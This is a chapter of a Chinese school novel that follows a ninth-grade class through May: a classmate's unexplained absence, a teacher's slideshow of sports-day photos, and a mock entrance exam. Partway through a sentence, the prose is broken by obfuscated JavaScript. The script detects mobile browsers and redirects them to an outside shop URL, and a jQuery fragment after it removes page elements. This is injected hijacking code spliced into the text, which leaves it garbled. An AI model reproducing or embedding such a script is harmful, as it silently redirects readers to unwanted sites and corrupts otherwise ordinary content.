五月像一列准点到站的火车，不声不响地停靠在了初三这趟旅程的最后一个站台上。
日历翻到这一页的时候，窗外的树已经彻底绿透了。那种绿不是春天稚嫩的、水汪汪的绿，而是一种沉甸甸的、墨浓的、像是把所有阳光都喝饱了之后打了一个满足的饱嗝的绿。叶子层层叠叠地挤在一起，把教学楼的墙壁遮出一大片流动的荫凉，风一吹，光斑就在走廊的地面上跳跃，像一群不知疲倦的、金色的精灵。
教室里的倒计时牌换了一张又一张，数字从三位数变成两位数，又从“还剩五十几天的某个数”一天一天地往下掉。字迹从工整变成了潦草，又从潦草变成了一种奇异的工整——像是写到最后，反而放下了所有急于求成的心思，一笔一划地、郑重其事地写下每一个数字。
没有人去过多地问那个消失的李明远。
他是在四月末的一个周一忽然不在座位上的。那天早读，孙浩习惯性地回头朝李明远的方向看了一眼——他们是前后桌——然后转回来，嘟囔了一句“这家伙今天又迟到了”，就继续埋头补他的英语作业。到了第一节课，座位还是空的。第二节课，依然是空的。直到下午的班会课，班主任张季走进教室，站在讲台上，表情跟平时没有什么不同，甚至还带着那种标志性的、温和的、像晒过太阳的棉被一样的笑容，告诉他们：“李明远同学家里有些事情，请假一段时间。”
没有人追问。不是不好奇，而是一种微妙的、全班默许的默契，像一层薄薄的、透明的玻璃纸，隔在疑问和答案之间。没有人去戳破它，因为戳破了，里面装着的东西可能不是他们想看到的，可能不是他们能够承受的。
赵思琪那天在她的小白板上写了一行字，拿给大家看：“李明远，早点回来。”她写了之后就放在讲台上，用粉笔压着边角。一整天，陆陆续续有同学在上面签字，有人写了“加油”，有人画了一个笑脸，有人什么也没写，只是把自己的名字工工整整地签在角落里。
那块小白板后来被放在李明远的课桌上，和他的课本摞在一起。没有人去动它，它就那样安静地待着，像一个还在等主人回来的座位。
顾墨偶尔会朝那个方向看一眼。目光很短，短到几乎可以忽略不计，但如果有人一直在观察他——比如李曦——就会发现，那个方向在他的视线里停留的时间，比从前多了那么零点几秒。
李曦什么也没有说。他的膝盖已经完全好了，绷带早就拆掉了，掌心的痂也脱落了，新长出来的皮肤是嫩粉色的，比周围的皮肤浅一个色号，像一枚小小的、褪了色的印章。他走路不瘸了，跑步不疼了，笑的时候依然很大声，眼睛依然会眯成一条缝。
但他不再在接力赛的话题上多说什么了。如果有人提起运动会，他会笑着接过话头，说顾墨最后一棒跑得有多快，说孙浩铅球得了第六名全班有多高兴，说陈泽一千五百米冲刺的时候看台上有人的嗓子喊破了。他会说很多，但不会提到自己。不会提到自己摔倒了，不会提到自己膝盖破了，不会提到自己在跑道上趴了多久。
那一段像是从他的记忆里被完整地剪掉了，剪得干干净净，连毛边都没有留下。
张晚亭有一次在画教室后墙的黑板报时，在角落里画了一双膝盖。没有署名，没有说明，只有一小幅简单的速写——两条腿，膝盖上有擦伤的痕迹，伤口正在愈合。她画完之后看了很久，然后用粉笔在下面写了一行小字：“伤会好，路还长。”
那行字第二天被人擦掉了，不知道是谁。也许是值日生，也许是张季，也许是张晚亭自己。但她画的那双膝盖留了下来，安静地待在黑板报的角落里，每天被粉笔灰覆盖又被擦掉，覆盖又擦掉，像一个反复被讲述又反复被遗忘的故事。
时间不慌不忙地走着。
五月的校园是一年中最好看的时候。春花开到了尾声，但还没有完全凋谢；夏日的炎热还没有真正到来，早晚的空气里还带着一丝凉意，像是春天在离开之前，留下了一个长长的、温柔的告别。
操场边的月季开得正好，红的粉的黄的挤在一起，像是谁打翻了一盒颜料，泼洒在绿色的画布上。花圃旁边有一排栀子花，还没有开，但花苞已经鼓鼓囊囊的了，青绿色的萼片裹着白色的花瓣，像一个个攥紧的小拳头，蓄满了力气，就等着在某个清晨突然松开。
校门口的那棵老树已经完全绿了，从远处看像一把撑开的巨伞，把整个校门都笼罩在它的荫凉里。树下依然有人在等，等人的时候依然会仰头看那些叶子在风中摇晃，看阳光从叶子的缝隙里漏下来，在地上画出忽明忽暗的花纹。
中考的倒计时挂在黑板上方，每一个路过的老师都会看一眼，然后继续讲课，语气里多了一些什么，说不上来。不是焦虑，也不是催促，更像是一种共同的默契——我们知道时间不多了，但我们不慌，因为我们准备好了，或者我们正在准备好。
张季在五月的第一个班会上做了一件出乎所有人意料的事情。
他没有讲中考的重要性，没有分析往年的录取分数线，没有念那些已经被念了无数遍的励志语录。他把投影仪打开，放了一组照片。
是运动会那三天拍的照片。
照片一张一张地放着，教室里从喧闹变得安静，又从安静变得喧闹——不过这一次的喧闹不是嘈杂，而是混杂着笑声和惊叹声的那种喧闹。有人指着照片上自己跑接力赛的样子喊“我怎么这么丑”，有人看到孙浩滚铁环的那张照片笑得趴在了桌上，有人看到陈泽冲线时狰狞的表情惊呼“学霸也有这么拼的时候”，有人看到林小禾跑八百米时那件大得像旗帜一样的运动服，眼眶悄悄地红了。
照片放到最后一张的时候，教室里忽然安静了。
最后一张不是运动会上的照片。是去年秋天秋游时拍的，全班站在一片金色的银杏林里，阳光从树叶间漏下来，落在每一个人脸上，把每一张脸都照得亮亮的。所有人都在笑，笑得毫无保留，笑得像是永远不会有分开的那一天。
张季站在讲台边上，背对着投影幕布，看着台下一张张被光映亮的脸。他没有说话，等了好一会儿，等到安静足够深了，深到可以承载一些分量的时候，他才开口。
“这些照片，我会发到班群里，大家可以自己存。”他的声音不大，但每一个字都清清楚楚，“以后想我们了，就拿出来看看。”
没有人鼓掌，没有人喧闹，好像是嗓子被什么东西堵住了，谁也说不出话来，连带着手也忘了动，谁也不想第一个开口，怕一开口就会打破这个奇妙的、温暖的、微微发酸的瞬间。
赵思琪第一个打破了沉默，用她那个已经完全恢复了的、响亮的、中气十足的声音喊了一句：“张老师！你什么时候偷拍的！我脸都没洗！”
全班爆笑，那个奇妙的瞬间被笑声轻轻托起，像一片落叶被风从地面卷起来，在空气中翻了个身，然后继续往前飘。
笑声里，张晚亭低下头，用袖子悄悄擦了一下眼睛，然后抬起头来，继续笑。
五月的生活是什么样子的呢？
是早读课上此起彼伏的读书声，英语单词和文言文在空气中碰撞，发出一种奇异的混响，像是一首不太和谐但又莫名动听的合唱。是课间十分钟的争分夺秒，有人趴在桌上补觉，有人围在一起讨论最后一道大题的解法，有人在走廊上追着老师问问题，声音从走廊的这头传到那头，像接力赛一样，一个问题刚被解答，另一个问题已经在路上。
是午休时教室里那些安静的瞬间。阳光从窗户斜射进来，在课桌上画出一块明亮的区域，有人在那个区域里埋头做题，有人把头枕在胳膊上睡着了，有人戴着耳机一边听音乐一边整理笔记。那些安静的瞬间里，风从窗户的缝隙里钻进来，翻动摊开的书页，发出沙沙的声响，像一个温柔的、不知疲倦的翻书人。
是晚自习结束后的走廊，灯光从窗户里透出来，把整栋教学楼照得像一艘停泊在夜色中的巨轮。有人在走廊上背书，背到忘情处声音越来越大，被旁边的人拍了一下肩膀，不好意思地压低声音，过一会儿又不自觉地大了起来。有人从教学楼里走出来，抬头看了一眼星空，深吸一口气，然后在心里默默地说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17737985|209057||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一句“再坚持一下”。
五月的中旬，学校组织了一次全真模拟考试。
考试的那两天，整个年级像一台上了发条的钟表，每一个齿轮都在精准地咬合、转动，发出整齐划一的声响。考场里只有笔尖划过纸面的沙沙声，偶尔有翻卷子的声音，像海浪拍打礁石，一阵一阵的，有节奏的，不慌不忙的。
顾墨坐在考场靠窗的位置，阳光从窗户照进来，落在他握笔的手上。他的字迹依然工整，解题步骤依然条理清晰，速度不快不慢，像是在进行一场与自己的对话——每一道题都是一次交流，不急，不躁，不抢，不退。
他在每科考试结束前都会留出几分钟检查，不急不慢地把试卷翻看一遍，确认没有漏题，确认答题卡上的填涂没有错位，确认自己的名字写在了该写的位置。那些动作已经变成了本能，像呼吸一样自然，不需要刻意去想。
李曦坐在另一个考场里，离顾墨隔了两层楼。他做题的速度不快，但他的准确率在最近两个月有了明显的提升——顾墨的数学辅导起了作用，赵思琪的英语笔记帮了大忙，张晚亭画的知识点思维导图被他复印了一份贴在书桌前，每天睡觉前看一遍，起床后再看一遍。
考试的最后一天下午，最后一科是英语。交卷铃响的那一刻，整个年级的走廊上爆发出一阵压抑了许久的欢呼声，像是憋了整整两天的气终于可以吐出来了，轻松得有些夸张，夸张得有些可爱。
孙浩从考场里冲出来的时候，书包拉链都没拉，课本从里面探出头来，随着他奔跑的节奏一颠一颠的，像在点头。他跑到走廊尽头，扶着栏杆，对着空旷的操场大喊了一声“啊啊啊啊啊——”，喊完之后整个人像是被抽空了一样靠在栏杆上，大口大口地喘气，但脸上挂着一种劫后余生般的、巨大的、明亮的笑容。
林志行从后面走过来，拍了拍他的肩膀，笑着说了一句：“喊完了？喊完了回去对答案。”
孙浩的笑容僵在脸上，然后瞬间垮了下去：“林志行你是人吗？我刚考完你就让我对答案？”
“不对答案你也不知道自己考得怎么样啊。”
“我不想知道了！让我再当几个小时的无知少年不行吗！”
两个人在走廊上你一句我一句地拌嘴，拌到最后一起笑了起来。夕阳照过来，把他们的影子投在走廊的地面上，长长的，歪歪扭扭的，像两根被风吹弯的旗杆。
赵思琪和张晚亭手挽手从考场里走出来，书包带子从肩膀上滑下来，谁也没有去扶。赵思琪的英语考得不错，心情好得连走路都在哼歌，哼的是一首不知道名字的英文歌，调子不太准，但她唱得很投入，一边唱一边晃着两个人挽在一起的手，像两个去春游的小学生。
张晚亭被她晃得走不稳路，笑着说“别晃了我都要摔了”，但没有挣开她的手。她最近画了很多画，画的是班里的同学们——有人在做题，有人在打闹，有人在走廊上看夕阳，有人在黑板上写倒计时。她把那些画夹在一个速写本里，没有给任何人看过。
她想等毕业那天，把速写本拿出来，给每一个人看他们被画下来的样子。
孟悦寻从考场出来的时候，书包带子上系着两个新的小铃铛，是上周在校门口的小店里买的，走路的时候叮叮当当地响，像一只快乐的小猫。她跑去找林谢明对答案，林谢明坐在楼梯上，手里捏着一支笔，在草稿纸上写写画画，嘴里念念有词，看到孟悦寻过来，抬起头来，眼镜滑到鼻梁上，表情有些茫然。
“你考得怎么样？”孟悦寻问。
林谢明想了想，说了一句让孟悦寻笑了半天的话：“我数学最后一道大题写了一个‘解’字之后，思考了十五分钟，然后写了一个‘答’字。”
“然后呢？”
“然后就没有然后了。”
“还有我们数学课代表都不会的题目？”
“我也是人诶！”
孟悦寻笑弯了腰，笑着笑着又收了声，认真地看着林谢明：“没事的，一科而已，后面还有。”
林谢明推了推眼镜，笑了：“我知道。”